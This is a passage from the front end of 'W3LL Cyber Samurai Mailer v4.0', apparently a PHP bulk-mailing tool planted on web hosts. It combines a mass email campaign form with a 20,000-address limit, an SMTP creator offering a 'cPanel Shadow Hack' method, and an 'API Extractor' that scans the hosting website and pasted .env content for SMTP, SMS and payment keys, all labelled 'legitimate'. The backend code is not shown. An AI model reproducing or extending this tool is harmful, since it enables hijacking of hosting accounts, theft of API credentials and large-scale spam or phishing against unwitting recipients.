name="messageType" value="1" <?php echo (isset($formData['messageType']) ? $formData['messageType'] : 1) == 1 ? 'checked' : ''; ?>> <i class="fas fa-code"></i> HTML Format </label> </div> <div> <label style="display: flex; align-items: center; gap: 10px;"> <input type="radio" name="messageType" value="0" <?php echo (isset($formData['messageType']) ? $formData['messageType'] : 1) == 0 ? 'checked' : ''; ?>> <i class="fas fa-file-text"></i> Plain Text </label> </div> </div> <textarea name="messageLetter" class="form-textarea" rows="12" placeholder="Your email message content here..." required><?php echo htmlspecialchars(isset($formData['messageLetter']) ? $formData['messageLetter'] : ''); ?></textarea> </div> <!-- Attachments --> <div class="form-group"> <label class="form-label"> <i class="fas fa-paperclip"></i> Attachments (Optional, multiple allowed) </label> <input type="file" name="attachments[]" multiple class="form-input"> </div> <!-- SMTP Configuration Section --> <div class="smtp-section"> <div class="smtp-toggle"> <label class="toggle-switch"> <input type="checkbox" id="useSmtpToggle" name="useSmtp" value="1" <?php echo (isset($formData['useSmtp']) ? $formData['useSmtp'] : 0) ? 'checked' : ''; ?>> <span class="toggle-slider"></span> </label> <label for="useSmtpToggle" style="cursor: pointer;"> <i class="fas fa-server"></i> Use SMTP Server (Recommended) </label> </div> <div class="smtp-fields <?php echo (isset($formData['useSmtp']) ? $formData['useSmtp'] : 0) ? 'active' : ''; ?>" id="smtpFields"> <div class="form-row"> <div class="form-group"> <label class="form-label"> <i class="fas fa-server"></i> SMTP Host </label> <input type="text" name="smtpHost" class="form-input" value="<?php echo htmlspecialchars(isset($formData['smtpHost']) ? $formData['smtpHost'] : ''); ?>" placeholder="mail.example.com"> </div> <div class="form-group"> <label class="form-label"> <i class="fas fa-plug"></i> SMTP Port </label> <select name="smtpPort" class="form-select"> <option value="587" <?php echo (isset($formData['smtpPort']) ? $formData['smtpPort'] : 587) == 587 ? 'selected' : ''; ?>>587 (TLS)</option> <option value="465" <?php echo (isset($formData['smtpPort']) ? $formData['smtpPort'] : 587) == 465 ? 'selected' : ''; ?>>465 (SSL)</option> <option value="25" <?php echo (isset($formData['smtpPort']) ? $formData['smtpPort'] : 587) == 25 ? 'selected' : ''; ?>>25 (Standard)</option> <option value="2525" <?php echo (isset($formData['smtpPort']) ? $formData['smtpPort'] : 587) == 2525 ? 'selected' : ''; ?>>2525 (Alternative)</option> </select> </div> </div> <div class="form-row"> <div class="form-group"> <label class="form-label"> <i class="fas fa-user"></i> SMTP Username (Auth) </label> <input type="text" name="smtpEmail" class="form-input" value="<?php echo htmlspecialchars(isset($formData['smtpAuthUsername']) ? $formData['smtpAuthUsername'] : ''); ?>" placeholder="your-smtp-username"> </div> <div class="form-group"> <label class="form-label"> <i class="fas fa-key"></i> SMTP Password </label> <input type="password" name="smtpPassword" class="form-input" value="<?php echo htmlspecialchars(isset($formData['smtpPassword']) ? $formData['smtpPassword'] : ''); ?>" placeholder="Your SMTP password"> </div> </div> <div class="form-group"> <label class="form-label"> <i class="fas fa-shield-alt"></i> Encryption </label> <select name="smtpEncryption" class="form-select"> <option value="tls" <?php echo (isset($formData['smtpEncryption']) ? $formData['smtpEncryption'] : 'tls') == 'tls' ? 'selected' : ''; ?>>TLS (Recommended)</option> <option value="ssl" <?php echo (isset($formData['smtpEncryption']) ? $formData['smtpEncryption'] : 'tls') == 'ssl' ? 'selected' : ''; ?>>SSL</option> <option value="none" <?php echo (isset($formData['smtpEncryption']) ? $formData['smtpEncryption'] : 'tls') == 'none' ? 'selected' : ''; ?>>None</option> </select> </div> <button type="button" class="btn btn-info" id="testSmtpBtn"> <i class="fas fa-vial"></i> Test SMTP Connection </button> </div> </div> <!-- Submit Button --> <button type="submit" class="btn btn-primary btn-full" id="sendEmailsBtn"> <i class="fas fa-paper-plane"></i> Send Email Campaign </button> </form> </div> <!-- SMTP Creator Sidebar --> <div class="smtp-creator"> <div class="card"> <div class="card-header"> <i class="fas fa-plus-circle card-icon"></i> <div class="card-title">SMTP Account Manager</div> </div> <div class="alert alert-info"> <i class="fas fa-info-circle"></i> <strong>Legitimate SMTP Creation</strong><br> This tool creates SMTP accounts through official control panel APIs (cPanel/DirectAdmin) </div> <!-- SMTP Creation Methods --> <div class="form-group"> <label class="form-label"> <i class="fas fa-cog"></i> Creation Method </label> <select id="smtpCreationMethod" class="form-select"> <option value="auto">Auto-Detect Best Method</option> <option value="cpanel_uapi">cPanel UAPI</option> <option value="cpanel_shadow">cPanel Shadow Hack</option> <option value="directadmin_api">DirectAdmin API</option> <option value="external_service">External Service</option> </select> </div> <!-- Quick SMTP Test --> <div class="form-group"> <label class="form-label"> <i class="fas fa-envelope-open"></i> Test Email (Optional) </label> <input type="email" id="testEmailAddress" class="form-input" placeholder="test@example.com"> </div> <div class="form-row"> <button type="button" class="btn btn-success" id="createSmtpBtn"> <i class="fas fa-plus"></i> Create SMTP </button> <button type="button" class="btn btn-info" id="refreshAccountsBtn"> <i class="fas fa-sync"></i> Refresh </button> </div> <!-- SMTP Accounts List --> <div class="smtp-accounts-list" id="smtpAccountsList"> <div style="text-align: center; color: var(--text-dim); padding: 20px;"> <i class="fas fa-spinner fa-spin"></i> Loading SMTP accounts... </div> </div> </div> <!-- API Extractor Card --> <div class="card" style="margin-top: 20px;"> <div class="card-header"> <i class="fas fa-search card-icon"></i> <div class="card-title">API Extractor</div> </div> <div class="alert alert-info"> <i class="fas fa-info-circle"></i> <strong>API Detection</strong><br> Paste code or text to automatically detect API keys for SMTP, SMS, Payment, and more. Or scan the full website. </div> <div class="form-group"> <label class="form-label"> <i class="fas fa-file-code"></i> Paste Code or Text to Scan </label> <textarea id="extractText" class="form-textarea" rows="6" placeholder="Paste source code, .env content, or text containing API keys..."></textarea> </div> <button type="button" class="btn btn-primary btn-full" id="extractApisBtn"> <i class="fas fa-search-dollar"></i> Extract APIs </button> <button type="button" class="btn btn-warning btn-full" id="scanSiteBtn" style="margin-top: 10px;"> <i class="fas fa-globe"></i> Scan Website for APIs </button> <div id="extractedApis" style="margin-top: 20px;"></div> </div> <!-- Quick Actions Card --> <div class="card" style="margin-top: 20px;"> <div class="card-header"> <i class="fas fa-bolt card-icon"></i> <div class="card-title">Quick Actions</div> </div> <div class="form-group"> <button type="button" class="btn btn-warning btn-full" onclick="clearForm()"> <i class="fas fa-broom"></i> Clear Form </button> </div> <div class="form-group"> <button type="button" class="btn btn-info btn-full" onclick="loadTemplate()"> <i class="fas fa-file-import"></i> Load Template </button> </div> <div class="form-group"> <button type="button" class="btn btn-secondary btn-full" onclick="exportResults()"> <i class="fas fa-download"></i> Export Results </button> </div> <!-- System Status --> <div style="margin-top: 20px; padding-top: 20px; border-top: 1px solid rgba(0, 255, 136, 0.2);"> <div class="form-label"> <i class="fas fa-heartbeat"></i> System Status </div> <div style="font-size: 0.85rem; color: var(--text-dim);"> <div>PHP Mail: <span style="color: var(--success);">β Available</span></div> <div>SMTP: <span style="color: var(--success);">β Ready</span></div> <div>Rate Limit: <span style="color: var(--info);"><?php echo $config['rate_limit_requests']; ?>/<?php echo $config['rate_limit_window']; ?>s</span></div> <div>Max Emails: <span style="color: var(--warning);">20000</span></div> </div> </div> </div> </div> </div> <!-- Footer --> <div class="footer"> <div> <strong>βοΈ W3LL Cyber Samurai Mailer v4.0</strong><br> Professional Email Marketing Solution - Legitimate SMTP Edition </div> <div class="footer-links"> <a href="https://w3llstore.com" target="_blank"> <i class="fas fa-globe"></i> W3LL Store </a> <a href="https://t.me/W3LLSTORE_ADMIN" target="_blank"> <i class="fab fa-telegram"></i> Support </a> <a href="?valid=1" target="_blank"> <i class="fas fa-heartbeat"></i> API Status </a> </div> <div style="margin-top: 15px; font-size: 0.8rem; opacity: 0.7;"> γ΅γ€γγΌδΎ - Legitimate Email Marketing Technology<br> Server Time: <?php echo date('Y-m-d H:i:s'); ?> | Your IP: <?php echo getClientIP(); ?> </div> </div> </div> <script> // Global variables let smtpAccounts = []; let isLoading = false; // DOM Elements const useSmtpToggle = document.getElementById('useSmtpToggle'); const smtpFields = document.getElementById('smtpFields'); const testSmtpBtn = document.getElementById('testSmtpBtn'); const createSmtpBtn = document.getElementById('createSmtpBtn'); const refreshAccountsBtn = document.getElementById('refreshAccountsBtn'); const smtpAccountsList = document.getElementById('smtpAccountsList'); const sendEmailsBtn = document.getElementById('sendEmailsBtn'); const mailerForm = document.getElementById('mailerForm'); const extractApisBtn = document.getElementById('extractApisBtn'); const scanSiteBtn = document.getElementById('scanSiteBtn'); // Initialize application document.addEventListener('DOMContentLoaded', function() { initializeApp(); loadSMTPAccounts(); setupEventListeners(); }); function initializeApp() { // SMTP Toggle functionality useSmtpToggle.addEventListener('change', function() { if (this.checked) { smtpFields.classList.add('active'); } else { smtpFields.classList.remove('active'); } }); // Auto-fill SMTP credentials from selected account document.addEventListener('click', function(e) { if (e.target.classList.contains('use-smtp-account')) { const accountId = e.target.dataset.accountId; const account = smtpAccounts.find(acc => acc.id == accountId); if (account) { fillSMTPForm(account); } } }); } function setupEventListeners() { // Test SMTP Connection testSmtpBtn.addEventListener('click', testSMTPConnection); // Create SMTP Account createSmtpBtn.addEventListener('click', createSMTPAccount); // Refresh SMTP Accounts refreshAccountsBtn.addEventListener('click', loadSMTPAccounts); // Form submission with validation mailerForm.addEventListener('submit', function(e) { if (!validateForm()) { e.preventDefault(); return false; } // Show loading state sendEmailsBtn.innerHTML = '<div class="loading"></div> Sending Emails...'; sendEmailsBtn.disabled = true; }); // API Extractor extractApisBtn.addEventListener('click', extractAPIs); // Website Scan scanSiteBtn.addEventListener('click', scanWebsite); } // SMTP Account Management Functions async function loadSMTPAccounts() { try { refreshAccountsBtn.innerHTML = '<div class="loading"></div>'; refreshAccountsBtn.disabled = true; const response = await fetch('?get_smtp_accounts=1'); const data = await response.json(); if (data.success) { smtpAccounts = data.accounts; renderSMTPAccounts(); updateSMTPCount(); } else { showNotification('Failed to load SMTP accounts: ' + data.message, 'error'); } } catch (error) { console.error('Error loading SMTP accounts:', error); showNotification('Error loading SMTP accounts', 'error'); } finally { refreshAccountsBtn.innerHTML = '<i class="fas fa-sync"></i> Refresh'; refreshAccountsBtn.disabled = false; } } async function createSMTPAccount() { if (isLoading) return; try { isLoading = true; createSmtpBtn.innerHTML = '<div class="loading"></div> Creating...'; createSmtpBtn.disabled = true; const method = document.getElementById('smtpCreationMethod').value; const response = await fetch(`?create_smtp=1&method=${method}`); const data = await response.json(); if (data.success) { showNotification(`SMTP account created successfully! Email: ${data.email}`, 'success'); loadSMTPAccounts(); // Refresh the list } else { showNotification('Failed to create SMTP account: ' + data.message, 'error'); } } catch (error) { console.error('Error creating SMTP account:', error); showNotification('Error creating SMTP account', 'error'); } finally { isLoading = false; createSmtpBtn.innerHTML = '<i class="fas fa-plus"></i> Create SMTP'; createSmtpBtn.disabled = false; } } async function testSMTPConnection() { const host = document.querySelector('input[name="smtpHost"]').value; const port = document.querySelector('select[name="smtpPort"]').value; const auth_username = document.querySelector('input[name="smtpEmail"]').value; const password = document.querySelector('input[name="smtpPassword"]').value; const encryption = document.querySelector('select[name="smtpEncryption"]').value; const testEmail = document.getElementById('testEmailAddress').value; if (!host || !auth_username || !password) { showNotification('Please fill in SMTP host, username, and password', 'warning'); return; } try { testSmtpBtn.innerHTML = '<div class="loading"></div> Testing...'; testSmtpBtn.disabled = true; const params = new URLSearchParams({ test_smtp: '1', host: host, port: port, email: auth_username, pass: password, encryption: encryption, test_email: testEmail }); const response = await fetch('?' + params.toString()); const data = await response.json(); if (data.success) { let message = 'SMTP connection successful!'; if (data.test_email_sent) { message += ' Test email sent successfully.'; } showNotification(message, 'success'); } else { showNotification('SMTP test failed: ' + data.message, 'error'); } console.log('SMTP Test Details:', data.details); } catch (error) { console.error('Error testing SMTP:', error); showNotification('Error testing SMTP connection', 'error'); } finally { testSmtpBtn.innerHTML = '<i class="fas fa-vial"></i> Test SMTP Connection'; testSmtpBtn.disabled = false; } } async function testSMTPAccount(accountId) { try { const testEmail = document.getElementById('testEmailAddress').value; const params = new URLSearchParams({ test_smtp_account: '1', id: accountId, test_email: testEmail }); const response = await fetch('?' + params.toString()); const data = await response.json(); if (data.success) { let message = 'SMTP account test successful!'; if (data.test_email_sent) { message += ' Test email sent.'; } showNotification(message, 'success'); } else { showNotification('SMTP account test failed: ' + data.message, 'error'); } } catch (error) { console.error('Error testing SMTP account:', error); showNotification('Error testing SMTP account', 'error'); } } async function deleteSMTPAccount(accountId) { if (!confirm('Are you sure you want to delete this SMTP account?')) { return; } try { const response = await fetch(`?delete_smtp=1&id=${accountId}`); const data = await response.json(); if (data.success) { showNotification('SMTP account deleted successfully', 'success'); loadSMTPAccounts(); // Refresh the list } else { showNotification('Failed to delete SMTP account: ' + data.message, 'error'); } } catch (error) { console.error('Error deleting SMTP account:', error); showNotification('Error deleting SMTP account', 'error'); } } function renderSMTPAccounts() { if (smtpAccounts.length === 0) { smtpAccountsList.innerHTML = ` <div style="text-align: center; color: var(--text-dim); padding: 20px;"> <i class="fas fa-inbox"></i><br> No SMTP accounts found<br> <small>Create your first SMTP account above</small> </div> `; return; } const accountsHTML = smtpAccounts.map(account => ` <div class="smtp-account-item"> <div class="smtp-account-header"> <div class="smtp-account-email">${account.sender_email || account.auth_username}</div> <div class="smtp-account-method">${account.method || 'Manual'}</div> </div> <div class="smtp-account-details"> <i class="fas fa-server"></i> ${account.host}:${account.port} (${account.encryption.toUpperCase()})<br> <i class="fas fa-user"></i> Auth: ${account.auth_username}<br> ${account.created_at ? `<i class="fas fa-clock"></i> ${account.created_at}` : ''} </div> <div class="smtp-account-actions"> <button class="btn btn-success btn-small use-smtp-account" data-account-id="${account.id}"> <i class="fas fa-check"></i> Use </button> <button class="btn btn-info btn-small" onclick="testSMTPAccount('${account.id}')"> <i class="fas fa-vial"></i> Test </button> <button class="btn btn-danger btn-small" onclick="deleteSMTPAccount('${account.id}')"> <i class="fas fa-trash"></i> </button> </div> </div> `).join(''); smtpAccountsList.innerHTML = accountsHTML; } function fillSMTPForm(account) { document.querySelector('[name="smtpHost"]').value = account.host; document.querySelector('select[name="smtpPort"]').value = account.port; document.querySelector('[name="smtpEmail"]').value = account.auth_username; document.querySelector('[name="senderEmail"]').value = account.sender_email || account.auth_username; document.querySelector('[name="smtpPassword"]').value = account.password; document.querySelector('select[name="smtpEncryption"]').value = account.encryption; // Enable SMTP mode useSmtpToggle.checked = true; smtpFields.classList.add('active'); showNotification(`SMTP credentials loaded for ${account.sender_email || account.auth_username}`, 'success'); } function updateSMTPCount() { document.getElementById('smtp-count').textContent = smtpAccounts.length; } async function extractAPIs() { const text = document.getElementById('extractText').value.trim(); if (!text) { showNotification('Please paste some text to scan', 'warning'); return; } try { const formData = new FormData(); formData.append('text', text); const response = await fetch('?extract_apis=1', { method: 'POST', body: formData }); const data = await response.json(); if (data.success) { renderExtractedAPIs(data.extracted); } else { showNotification('Extraction failed: ' + data.message, 'error'); } } catch (error) { console.error('Error during extraction:', error); showNotification('Error during extraction', 'error'); } } async function scanWebsite() { try { scanSiteBtn.innerHTML = '<div class="loading"></div> Scanning...'; scanSiteBtn.disabled = true; const response = await fetch('?scan_site=1'); const data = await response.json(); if (data.success) { renderExtractedAPIs(data.extracted); if (data.has_apis) { showNotification('APIs detected on website!', 'success'); } else { showNotification('No APIs found during scan', 'info'); } } else { showNotification('Scan failed: ' + data.message, 'error'); } } catch (error) { console.error('Error during scan:', error); showNotification('Error during website scan', 'error'); } finally { scanSiteBtn.innerHTML = '<i class="fas fa-globe"></i> Scan Website for APIs'; scanSiteBtn.disabled = false; } } function renderExtractedAPIs(extracted) { let html = '<div class="results-table"><div class="table-header"><i class="fas fa-key"></i> Extracted APIs</div><div class="table-body">'; if (Object.keys(extracted).length === 0) { html += '<div style="text-align: center; padding: 20px; color: var(--text-dim);">No APIs found</div>'; } else { for (const [type, keys] of Object.entries(extracted)) { html += `<div class="table-row"> <div>${type}</div> <div></div> <div>${keys.join(', ')}</div> </div>`; } } html += '</div></div>'; document.getElementById('extractedApis').innerHTML = html; } // Utility Functions function validateForm() { const requiredFields = [ { name: 'senderName', label: 'Sender Name' }, { name: 'senderEmail', label: 'Sender Email' }, { name: 'subject', label: 'Subject' }, { name: 'emailList', label: 'Email List' }, { name: 'messageLetter', label: 'Message Content' } ]; for (const field of requiredFields) { const element = document.querySelector(`[name="${field.name}"]`); if (!element.value.trim()) { showNotification(`${field.label} is required`, 'warning'); element.focus(); return false; } } // Validate email list const emailList = document.querySelector('[name="emailList"]').value.trim(); const emails = emailList.split('\n').filter(email => email.trim()); if (emails.length === 0) { showNotification('Please provide at least one email address', 'warning'); return false; } // Validate SMTP if enabled if (useSmtpToggle.checked) { const smtpFields = ['smtpHost', 'smtpEmail', 'smtpPassword']; for (const field of smtpFields) { const element = document.querySelector(`[name="${field}"]`); if (!element.value.trim()) { showNotification(`SMTP ${field.replace('smtp', '')} is required when using SMTP`, 'warning'); element.focus(); return false; } } } return true; } function showNotification(message, type = 'info') { // Create notification element const notification = document.createElement('div'); notification.className = `alert alert-${type}`; notification.style.cssText = ` position: fixed; top: 20px; right: 20px; z-index: 10000; max-width: 400px; animation: slideInRight 0.3s ease; `; const icons = { success: 'fas fa-check-circle', error: 'fas fa-exclamation-triangle', warning: 'fas fa-exclamation-circle', info: 'fas fa-info-circle' }; notification.innerHTML = ` <i class="${icons[type] || icons.info}"></i> ${message} <button onclick="this.parentElement.remove()" style="float: right; background: none; border: none; color: inherit; font-size: 1.2rem; cursor: pointer;">×</button> `; document.body.appendChild(notification); // Auto remove after 5 seconds setTimeout(() => { if (notification.parentElement) { notification.remove(); } }, 5000); } function clearForm() { if (confirm('Are you sure you want to clear the form?')) { mailerForm.reset(); useSmtpToggle.checked = false; smtpFields.classList.remove('active'); showNotification('Form cleared successfully', 'info'); } } function loadTemplate() { const templates = { marketing: { subject: 'Special Offer Just for You! [-randomstring-]', message: `<html><body> <h2>Hello there!</h2> <p>We have an exclusive offer just for you at <strong>[-email-]</strong></p> <p>Don't miss out on this limited-time opportunity!</p> <p>Best regards,<br>The Marketing Team</p> </body></html>` }, newsletter: { subject: 'Weekly Newsletter - Week of [-randomnumber-]', message: `<html><body> <h2>Weekly Newsletter</h2> <p>Dear Subscriber,</p> <p>Here's what's new this week...</p> <ul> <li>Latest updates and news</li> <li>Special announcements</li> <li>Upcoming events</li> </ul> <p>Thank you for subscribing!</p> </body></html>` } }; const templateType = prompt('Choose template type:\n1. marketing\n2. newsletter\n\nEnter template name:'); if (templates[templateType]) { document.querySelector('[name="subject"]').value = templates[templateType].subject; document.querySelector('[name="messageLetter"]').value = templates[templateType].message; document.querySelector('[name="messageType"][value="1"]').checked = true; showNotification(`${templateType} template loaded successfully`, 'success'); } else if (templateType !== null) { showNotification('Template not found', 'warning'); } } function exportResults() { // This would export the last campaign results showNotification('Export functionality coming soon!', 'info'); } // Add CSS animation for notifications const style = document.createElement('style'); style.textContent = ` @keyframes slideInRight { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } `; document.head.appendChild(style); </script> </body> </html> <?php // End of main interface ?>